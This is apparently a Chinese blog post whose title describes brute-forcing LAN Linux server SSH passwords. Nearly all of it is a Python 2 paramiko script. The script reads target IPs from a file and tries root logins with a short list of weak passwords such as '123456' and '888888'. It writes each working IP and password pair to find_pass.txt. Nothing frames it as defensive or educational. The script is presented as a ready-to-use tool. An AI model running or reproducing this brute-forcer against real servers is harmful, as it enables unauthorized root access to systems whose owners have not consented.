python自动登录SSH（暴力破解局网LINUX服务器登录密码）

# -*- coding: utf-8 -*-
import paramiko
import os
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
#client.connect('192.168.8.248', 22, username='root', password='password', timeout=4)

def write_log(ip_str,password):
log_file = "find_pass.txt"
file = open(log_file,'a')
file.write(ip_str+'|'+password+os.linesep)
file.close()

def ssh_connect(ip,username,password):
global client
try:
client.connect(ip, 22, username=username, password=password, timeout=4)
write_log(ip,password)
print "ip: %s is login success,password is %s" % (ip,password)
except:
print "ip: %s login has no pass" % ip
#client.close()

if __name__=='__main__':
pwd_dic = ['123456','111111','222222','888888','999999','666666']
if os.path.exists('ip_log.txt'):
for ip in open("ip_log.txt").readlines():
for pwd in pwd_dic:
ssh_connect(ip,'root',pwd)
else:
print "ip_log is not exists"
client.close()